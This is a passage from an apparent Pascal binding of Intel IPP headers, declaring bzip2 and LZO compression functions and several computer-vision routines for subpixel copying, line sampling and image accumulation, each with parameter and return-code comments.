Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsDecodeRLEState_BZ2_8u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Ipp32uPtr ; ppDst : Ipp8uPtrPtr ; pDstLen : Ipp32uPtr ; pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeRLEStateFlush_BZ2_8u
Purpose: Performs flushing the rest of data after RLE decoding with thresholding = 4.
Specific function for bzip2 compatibility.
Parameters:
pRLEState Pointer to internal state structure for bzip2 specific RLE
ppDst Double pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsDecodeRLEStateFlush_BZ2_8u( pRLEState : IppRLEState_BZ2Ptr ; ppDst : Ipp8uPtrPtr ; pDstLen : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRLEGetInUseTable_8u
Purpose: Service function: gets the pointer to the inUse vector from internal state
of type IppRLEState_BZ2. Specific function for bzip2 compatibility.
Parameters:
inUse Pointer to the inUse vector
pRLEState Pointer to internal state structure for bzip2 specific RLE
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsNoErr No errors
}
function ippsRLEGetInUseTable_8u( inUse : Ipp8u_256 ; pRLEState : IppRLEState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeZ1Z2_BZ2_8u16u
Purpose: Performs the Z1Z2 encoding.
Specific function for bzip2 compatibility.
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector on input,
pointer to the size of remainder on output
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output.
freqTable[258] Table of frequencies collected for alphabet symbols.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsEncodeZ1Z2_BZ2_8u16u( ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; pDst : Ipp16uPtr ; pDstLen : Int32Ptr ; freqTable : Int32_258 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeZ1Z2_BZ2_16u8u
Purpose: Performs the Z1Z2 decoding.
Specific function for bzip2 compatibility.
Parameters:
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector on input,
pointer to the size of remainder on output
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsDecodeZ1Z2_BZ2_16u8u( ppSrc : Ipp16uPtrPtr ; pSrcLen : Int32Ptr ; pDst : Ipp8uPtr ; pDstLen : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsReduceDictionary_8u_I
Purpose: Performs the dictionary reducing.
Parameters:
inUse[256] Table of 256 values of type : Ipp8u.
pSrcDst Pointer to the source/destination vector
srcDstLen Length of source/destination vector.
pSizeDictionary Pointer to the size of dictionary on input and to the size
of reduced dictionary on output.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsReduceDictionary_8u_I( const inUse : Ipp8u_256 ; pSrcDst : Ipp8uPtr ; srcDstLen : Int32 ; pSizeDictionary : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsExpandDictionary_8u_I
Purpose: Performs the dictionary expanding.
Parameters:
inUse[256] Table of 256 values of type : Ipp8u.
pSrcDst Pointer to the source/destination vector
srcDstLen Length of source/destination vector.
sizeDictionary The size of reduced dictionary on input.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsExpandDictionary_8u_I( const inUse : Ipp8u_256 ; pSrcDst : Ipp8uPtr ; srcDstLen : Int32 ; sizeDictionary : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCRC32_BZ2_8u
Purpose: Performs the CRC32 checksum calculation according to the direct algorithm, which is used in bzip2.
Parameters:
pSrc Pointer to the source data vector
srcLen The length of source vector
pCRC32 Pointer to the value of accumulated CRC32
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of the source vector is less or equal zero
ippStsNoErr No errors
}
function ippsCRC32_BZ2_8u( pSrc : Ipp8uPtr ; srcLen : Int32 ; pCRC32 : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeHuffGetSize_BZ2_16u8u
Purpose: Calculates the size of internal state for bzip2-specific Huffman coding.
Specific function for bzip2 compatibility.
Parameters:
wndSize Size of the block to be processed
pEncodeHuffStateSize Pointer to the size of internal state for bzip2-specific Huffman coding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsEncodeHuffGetSize_BZ2_16u8u( wndSize : Int32 ; pEncodeHuffStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeHuffInit_BZ2_16u8u
Purpose: Initializes the elements of the bzip2-specific internal state for Huffman coding.
Specific function for bzip2 compatibility.
Parameters:
sizeDictionary The size of the dictionary
freqTable Table of frequencies of symbols
pSrc Pointer to the source vector
srcLen Length of the source vector
pEncodeHuffState Pointer to internal state structure for bzip2 specific Huffman coding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsEncodeHuffInit_BZ2_16u8u( sizeDictionary : Int32 ; const freqTable : Int32_258 ; pSrc : Ipp16uPtr ; srcLen : Int32 ; pEncodeHuffState : IppEncodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsPackHuffContext_BZ2_16u8u
Purpose: Performs the bzip2-specific encoding of Huffman context.
Specific function for bzip2 compatibility.
Parameters:
pCode Pointer to the bit buffer
pCodeLenBits Number of valid bits in the bit buffer
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pEncodeHuffState Pointer to internal state structure for bzip2 specific Huffman coding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsPackHuffContext_BZ2_16u8u( pCode : Ipp32uPtr ; pCodeLenBits : Int32Ptr ; pDst : Ipp8uPtr ; pDstLen : Int32Ptr ; pEncodeHuffState : IppEncodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeHuff_BZ2_16u8u
Purpose: Performs the bzip2-specific Huffman encoding.
Specific function for bzip2 compatibility.
Parameters:
pCode Pointer to the bit buffer
pCodeLenBits Number of valid bits in the bit buffer
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pEncodeHuffState Pointer to internal state structure for bzip2 specific Huffman coding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsEncodeHuff_BZ2_16u8u( pCode : Ipp32uPtr ; pCodeLenBits : Int32Ptr ; ppSrc : Ipp16uPtrPtr ; pSrcLen : Int32Ptr ; pDst : Ipp8uPtr ; pDstLen : Int32Ptr ; pEncodeHuffState : IppEncodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeHuffGetSize_BZ2_8u16u
Purpose: Calculates the size of internal state for bzip2-specific Huffman decoding.
Specific function for bzip2 compatibility.
Parameters:
wndSize Size of the block to be processed
pDecodeHuffStateSize Pointer to the size of internal state for bzip2-specific Huffman decoding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsDecodeHuffGetSize_BZ2_8u16u( wndSize : Int32 ; pDecodeHuffStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeHuffInit_BZ2_8u16u
Purpose: Initializes the elements of the bzip2-specific internal state for Huffman decoding.
Specific function for bzip2 compatibility.
Parameters:
sizeDictionary The size of the dictionary
pDecodeHuffState Pointer to internal state structure for bzip2 specific Huffman decoding
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsNoErr No errors
}
function ippsDecodeHuffInit_BZ2_8u16u( sizeDictionary : Int32 ; pDecodeHuffState : IppDecodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsUnpackHuffContext_BZ2_8u16u
Purpose: Performs the bzip2-specific decoding of Huffman context.
Specific function for bzip2 compatibility.
Parameters:
pCode Pointer to the bit buffer
pCodeLenBits Number of valid bits in the bit buffer
pSrc Pointer to the destination vector
pSrcLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pDecodeHuffState Pointer to internal state structure for bzip2 specific Huffman decoding.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsUnpackHuffContext_BZ2_8u16u( pCode : Ipp32uPtr ; pCodeLenBits : Int32Ptr ; ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; pDecodeHuffState : IppDecodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeHuff_BZ2_8u16u
Purpose: Performs the bzip2-specific Huffman decoding.
Specific function for bzip2 compatibility.
Parameters:
pCode Pointer to the bit buffer
pCodeLenBits Number of valid bits in the bit buffer
ppSrc Double pointer to the source vector
pSrcLen Pointer to the length of source vector
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination vector
on output
pDecodeHuffState Pointer to internal state structure for bzip2 specific Huffman decoding.
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Lengths of the source/destination vector are less
or equal zero
ippStsDstSizeLessExpected The size of destination vector less expected
ippStsNoErr No errors
}
function ippsDecodeHuff_BZ2_8u16u( pCode : Ipp32uPtr ; pCodeLenBits : Int32Ptr ; ppSrc : Ipp8uPtrPtr ; pSrcLen : Int32Ptr ; pDst : Ipp16uPtr ; pDstLen : Int32Ptr ; pDecodeHuffState : IppDecodeHuffState_BZ2Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeBlockGetSize_BZ2_8u
Purpose: Computes the size of necessary memory (in bytes) for
additional buffer for the bzip2-specific decoding.
Specific function for bzip2 compatibility.
Parameters:
blockSize Block size for the bzip2-specific decoding
pBuffSize Pointer to the computed size of buffer
Return:
ippStsNullPtrErr Pointer is NULL
ippStsNoErr No errors
}
function ippsDecodeBlockGetSize_BZ2_8u( blockSize : Int32 ; pBuffSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeBlockGetSize_BZ2_8u
Purpose: Performs the bzip2-specific block decoding.
Specific function for bzip2 compatibility.
Parameters:
pSrc Pointer to the source vector
pSrcLen Pointer to the length of source vector
pDst Pointer to the destination vector
pDstLen Pointer to the size of destination buffer on input,
pointer to the resulting length of the destination buffer
on output
index Index of first position for the inverse BWT transform
dictSize The size of reduced dictionary
inUse Table of 256 values of type : Ipp8u
pBuff Pointer to the additional buffer
Return:
ippStsNullPtrErr One or several pointer(s) is NULL
ippStsSizeErr Length of source/destination vectors is less or
equal zero or index greater or equal srcLen
ippStsNoErr No errors
}
function ippsDecodeBlock_BZ2_16u8u( pSrc : Ipp16uPtr ; srcLen : Int32 ; pDst : Ipp8uPtr ; pDstLen : Int32Ptr ; index : Int32 ; dictSize : Int32 ; const inUse : Ipp8u_256 ; pBuff : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
IPP LZO Definitions
----------------------------------------------------------------------------
Name: ippsEncodeLZOGetSize
Purpose: returns structure size necessary for compression
Arguments:
method LZO method to be used during compression
maxInputLen maximum length of input buffer, which will be processed by Encode
pSize pointer to size variable
Return:
ippStsBadArgErr illegal method
ippStsNullPtrErr NULL pointer detected
ippStsNoErr no error
}
function ippsEncodeLZOGetSize( method : IppLZOMethod ; maxInputLen : Ipp32u ; pSize : Ipp32uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeLZO_8u
Purpose: compresses specified input buffer
Arguments:
pSrc input data address
srcLen input data length
pDst output buffer address
pDstLen pointer to resulting length variable, must contain output buffer length upon start
pLZOState pointer to IppLZOState structure variable
Return:
ippStsNullPtrErr one of the pointers is NULL
ippStsDstSizeLessExpected output buffer is too short for compressed data
ippStsNoErr no error detected
}
function ippsEncodeLZO_8u( pSrc : Ipp8uPtr ; srcLen : Ipp32u ; pDst : Ipp8uPtr ; pDstLen : Ipp32uPtr ; pLZOState : IppLZOState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsEncodeLZOInit
Purpose: initializes IppLZOSate_8u structure
Arguments:
method LZO compression method desired
maxInputLen maximum length of input buffer, which will be processed by Encode
pLZOState pointer to IppLZOState structure variable
Return:
ippStsNullPtrErr one of the pointers is NULL
ippStsBadArgErr illegal method
ippStsNoErr no error detected
}
function ippsEncodeLZOInit_8u( method : IppLZOMethod ; maxInputLen : Ipp32u ; pLZOState : IppLZOState_8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsDecodeLZO_8u
Purpose: decompresses specified input buffer to output buffer, returns decompressed data length
Name: ippsDecodeLZOSafe_8u
Purpose: decompresses specified input buffer to output buffer with checking output buffer boundaries, returns decompressed data length
Arguments:
pSrc pointer to input buffer
srcLen input data length
pDst pointer to output buffer
pDstLen pointer to output data length variable. Initially contains output buffer length
Return:
ippStsNullPtrErr one of the pointers is NULL
ippStsDstSizeLessExpected output buffer is too short for compressed data
ippStsSrcSizeLessExpected input buffer data is not complete, i.e. no EOF found
ippStsBrokenLzoStream ippsDecodeLZOSafe_8u detected output buffer boundary violation
ippStsNoErr no error detected
}
function ippsDecodeLZO_8u( pSrc : Ipp8uPtr ; srcLen : Ipp32u ; pDst : Ipp8uPtr ; pDstLen : Ipp32uPtr ): IppStatus; _ippapi
function ippsDecodeLZOSafe_8u( pSrc : Ipp8uPtr ; srcLen : Ipp32u ; pDst : Ipp8uPtr ; pDstLen : Ipp32uPtr ): IppStatus; _ippapi
{
Intel(R) Integrated Performance Primitives
Computer Vision (ippCV)
}
{ ----------------------------------------------------------------------------
Functions declarations
{ ----------------------------------------------------------------------------
Name: ippcvGetLibVersion
Purpose: getting of the library version
Returns: the structure of information about version of ippcv library
Parameters:
Notes: not necessary to release the returned structure
}
function ippcvGetLibVersion: IppLibraryVersionPtr; _ippapi
{ ----------------------------------------------------------------------------
Copy with Subpixel Precision
----------------------------------------------------------------------------
Name: ippiCopySubpix_8u_C1R, ippiCopySubpix_16u_C1R,
ippiCopySubpix_8u16u_C1R_Sfs, ippiCopySubpix_16u32f_C1R,
ippiCopySubpix_8u32f_C1R, ippiCopySubpix_32f_C1R
Purpose: copies source image to destination image with interpolation
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Pointer to source image
srcStep Step in source image
pDst Pointer to destination image
dstStep Step in destination image
roiSize Source and destination image ROI size.
dx x coeff of linear interpolation
dy y coeff of linear interpolation
scaleFactor Output scale factor, >= 0
Notes:
}
function ippiCopySubpix_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ): IppStatus; _ippapi
function ippiCopySubpix_8u16u_C1R_Sfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiCopySubpix_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ): IppStatus; _ippapi
function ippiCopySubpix_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ): IppStatus; _ippapi
function ippiCopySubpix_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ): IppStatus; _ippapi
function ippiCopySubpix_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; dx : Ipp32f ; dy : Ipp32f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiCopySubpixIntersect_8u_C1R, ippiCopySubpixIntersect_16u_C1R,
ippiCopySubpixIntersect_8u16u_C1R_Sfs, ippiCopySubpixIntersect_16u32f_C1R,
ippiCopySubpixIntersect_8u32f_C1R, ippiCopySubpixIntersect_32f_C1R
Purpose: finds intersection of centered window in the source image and copies
in to destination image with the border
border pixel are taken from the source image or replicated if they are outside it
Returns:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
Parameters:
pSrc Pointer to source image
srcStep Step in source image
srcRoiSize Source image ROI size.
pDst Pointer to destination image
dstStep Step in destination image
dstRoiSize Destination image ROI size.
point Center of dst window in src image (subpixel)
pMin Top left corner of dst filled part
pMax Bottom right corner of dst filled part
scaleFactor Output scale factor, >= 0
Notes: For integer point.x or point.y pixels from the last row
or column are not copied. Branches are possible.
}
function ippiCopySubpixIntersect_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ): IppStatus; _ippapi
function ippiCopySubpixIntersect_8u16u_C1R_Sfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiCopySubpixIntersect_8u32f_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ): IppStatus; _ippapi
function ippiCopySubpixIntersect_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ): IppStatus; _ippapi
function ippiCopySubpixIntersect_16u32f_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ): IppStatus; _ippapi
function ippiCopySubpixIntersect_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcRoiSize : IppiSize ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiSize : IppiSize ; point : IppiPoint_32f ; pMin : IppiPointPtr ; pMax : IppiPointPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Line sampling
----------------------------------------------------------------------------
Name: ippiSampleLine_8u_C1R, ippiSampleLine_8u_C3R,
ippiSampleLine_16u_C1R, ippiSampleLine_16u_C3R,
ippiSampleLine_32f_C1R, ippiSampleLine_32f_C3R,
Purpose: Reads values of pixels on the raster
line between two given points and write them to buffer.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr The steps in images are too small
ippStsNotEvenStepErr Step is not multiple of element.
ippStsOutOfRangeErr At least one of the points is outside the image ROI.
Parameters:
pSrc Source image
srcStep Its step
roiSize ROI size
pBuffer Pointer to buffer where the pixels are stored.
It must have size >= max(abs(pt2.y - pt1.y)+1,
abs(pt2.x - pt1.x)+1)*
<size_of_pixel>.
pt1 Starting point of the line segment.
The pixel value will be stored to buffer first.
pt2 Ending point of the line segment.
The pixel value will be stored to buffer last.
}
function ippiSampleLine_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp8uPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
function ippiSampleLine_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp8uPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
function ippiSampleLine_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp16uPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
function ippiSampleLine_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp16uPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
function ippiSampleLine_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp32fPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
function ippiSampleLine_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; pDst : Ipp32fPtr ; pt1 : IppiPoint ; pt2 : IppiPoint ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Accumulation
----------------------------------------------------------------------------
Name: ippiAdd_8u32f_C1IR, ippiAdd_8s32f_C1IR,
ippiAdd_16u32f_C1IR,
ippiAdd_8u32f_C1IMR, ippiAdd_8s32f_C1IMR,
ippiAdd_16u32f_C1IMR, ippiAdd_32f_C1IMR
Purpose: Add image to accumulator.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr Step is too small to fit image.
ippStsNotEvenStepErr Step is not multiple of element.
Arguments:
pSrc Pointer to source image
srcStep Step in the source image
pMask Pointer to mask
maskStep Step in the mask image
pSrcDst Pointer to accumulator image
srcDstStep Step in the accumulator image
roiSize Image size
}
function ippiAdd_8u32f_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_16u32f_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_8u32f_C1IMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_16u32f_C1IMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAdd_32f_C1IMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddSquare_8u32f_C1IR, ippiAddSquare_8s32f_C1IR,
ippiAddSquare_16u32f_C1IR, ippiAddSquare_32f_C1IR,
ippiAddSquare_8u32f_C1IMR, ippiAddSquare_8s32f_C1IMR,
ippiAddSquare_16u32f_C1IMR, ippiAddSquare_32f_C1IMR
Purpose: Add squared image (i.e. multiplied by itself) to accumulator.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr Step is too small to fit image.
ippStsNotEvenStepErr Step is not multiple of element.
Arguments:
pSrc Pointer to source image
srcStep Step in the source image
pMask Pointer to mask
maskStep Step in the mask image
pSrcDst Pointer to accumulator image
srcDstStep Step in the accumulator image
roiSize Image size
}
function ippiAddSquare_8u32f_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddSquare_16u32f_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddSquare_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddSquare_8u32f_C1IMR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddSquare_16u32f_C1IMR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddSquare_32f_C1IMR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiAddProduct_8u32f_C1IR, ippiAddProduct_8s32f_C1IR,
ippiAddProduct_16u32f_C1IR, ippiAddProduct_32f_C1IR,
ippiAddProduct_8u32f_C1IMR, ippiAddProduct_8s32f_C1IMR,
ippiAddProduct_16u32f_C1IMR, ippiAddProduct_32f_C1IMR
Purpose: Add product of two images to accumulator.
Return:
ippStsNoErr Ok
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The width or height of images is less or equal zero
ippStsStepErr Step is too small to fit image.
ippStsNotEvenStepErr Step is not multiple of element.
Arguments:
pSrc1 Pointer to first source image
src1Step Step in the first source image
pSrc2 Pointer to second source image
src2Step Step in the second source image
pMask Pointer to mask
maskStep Step in the mask image
pSrcDst Pointer to accumulator image
srcDstStep Step in the accumulator image
roiSize Image size
}
function ippiAddProduct_8u32f_C1IR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddProduct_16u32f_C1IR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddProduct_32f_C1IR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddProduct_8u32f_C1IMR( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddProduct_16u32f_C1IMR( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAddProduct_32f_C1IMR( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pMask : Ipp8uPtr ; maskStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
